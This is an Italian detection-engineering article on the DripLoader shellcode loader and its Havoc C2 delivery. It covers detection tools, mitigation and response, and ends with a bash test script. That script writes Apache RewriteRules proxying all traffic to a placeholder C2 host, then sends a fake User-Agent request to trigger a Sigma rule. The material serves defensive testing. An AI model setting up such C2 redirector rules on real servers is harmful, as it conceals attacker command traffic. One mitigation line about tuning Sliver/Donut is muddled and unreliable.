Malware DripLoader: Esecuzione di Shellcode e Evasione dalla Difesa

Sommario

L’articolo esamina DripLoader, un caricatore di shellcode che alloca memoria, scrive lo shellcode, cambia i permessi della pagina in eseguibile e lo esegue. Copre come il caricatore venga distribuito tramite un reindirizzatore HTTPS supportato dal framework Havoc C2, e come il suo codice possa essere offuscato tramite compressione e chiamate di sistema indirette. Il documento presenta anche una variante aggiornata, DripLoaderNG, che si basa sul sideloading di .node e su tecniche di evasione aggiuntive, insieme a linee guida pratiche per il rilevamento e strumenti di analisi della memoria.

Indagine

L’indagine descrive una configurazione di laboratorio in cui Havoc invia shellcode compresso tramite un reindirizzatore Apache personalizzato. Il caricatore riserva regioni di 64 KB, impegna pagine da 4 KB, modifica i flag di protezione ed esegue il payload. DripLoaderNG introduce chiamate di sistema indirette e il sideloading di moduli .node mirati all’applicazione Slack Electron. Il rilevamento è dimostrato utilizzando strumenti come Moneta, PE-sieve e query KQL di supporto.

Mitigazione

I passaggi di mitigazione includono il monitoraggio dei reindirizzamenti HTTPS sospetti, l’individuazione di stringhe user-agent false, il contrassegno di file .node rari e l’utilizzo delle funzionalità EDR per identificare il comportamento delle chiamate di sistema indirette. Ulteriori raccomandazioni riguardano l’ottimizzazione delle configurazioni Sliver/Donut per ridurre la manomissione AMSI e limitare l’esecuzione di moduli nativi non firmati.

Risposta

Quando viene rilevata un’attività, isolare l’endpoint interessato, interrompere il processo offensivo, acquisire dump della memoria e ispezionare lo shellcode iniettato. Bloccare il dominio o l’IP C2, reimpostare le credenziali esposte e distribuire regole difensive per lo specifico user-agent e gli indicatori di file .node. Seguire con un’analisi forense e aggiornare i contenuti di rilevamento per coprire i modelli osservati di chiamate di sistema indirette.

Esecuzione Simulation

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrazione dell’Attacco & Comandi:
  Un operatore dell’infrastruttura malevola prepara il server web vittima per fungere da condotto per il server C2. Inseriscono due RewriteRule direttive nella configurazione dell’host virtuale di Apache: una che proxy tutto il traffico in entrata a https://C2.TeamServer.IP:443 ([P] flag) e una seconda che reindirizza qualsiasi richiesta a un URL benigno di Google ([L,R=302]). Dopo aver ricaricato Apache, l’attaccante emette una richiesta HTTP creata con esatta stringa User-Agent falsa definita nella regola Sigma. Apache processa la richiesta, registra l’User-Agent e il motore di riscrittura registra l’azione di proxy, soddisfacendo entrambe le condizioni di rilevamento.

• Script di Test di Regressione:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script di convalida rilevamento DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # 1. Backup configurazione corrente
  sudo cp "$APACHE_CONF" "$BACKUP_CONF"
  
  # 2. Inserisci regole di riscrittura dannose
  sudo bash -c "cat >> $APACHE_CONF <<'EOF'
  
  # INIZIO Regole di Test DripLoader
  RewriteEngine On
  RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
  RewriteRule ^.*$ "https://www.google.com" [L,R=302]
  # FINE Regole di Test DripLoader
  
  EOF"
  
  # 3. Ricarica Apache per applicare le modifiche
  sudo systemctl reload apache2
  
  # 4. Emissione richiesta dannosa con l'esatta stringa User-Agent fabbricata
  curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/ Safari/537.366" http://localhost/
  
  echo "Richiesta dannosa inviata. Controlla SIEM per l'avviso di rilevamento."

• Comandi di Pulizia:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Pulizia convalida rilevamento DripLoader
  # -------------------------------------------------
  
  APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
  BACKUP_CONF="/tmp/000-default.conf.bak"
  
  # Ripristina configurazione originale
  if [[ -f "$BACKUP_CONF" ]]; then
      sudo cp "$BACKUP_CONF" "$APACHE_CONF"
      sudo systemctl reload apache2
      echo "Configurazione originale di Apache ripristinata."
  else
      echo "Backup non trovato; potrebbe essere necessaria una pulizia manuale."
  fi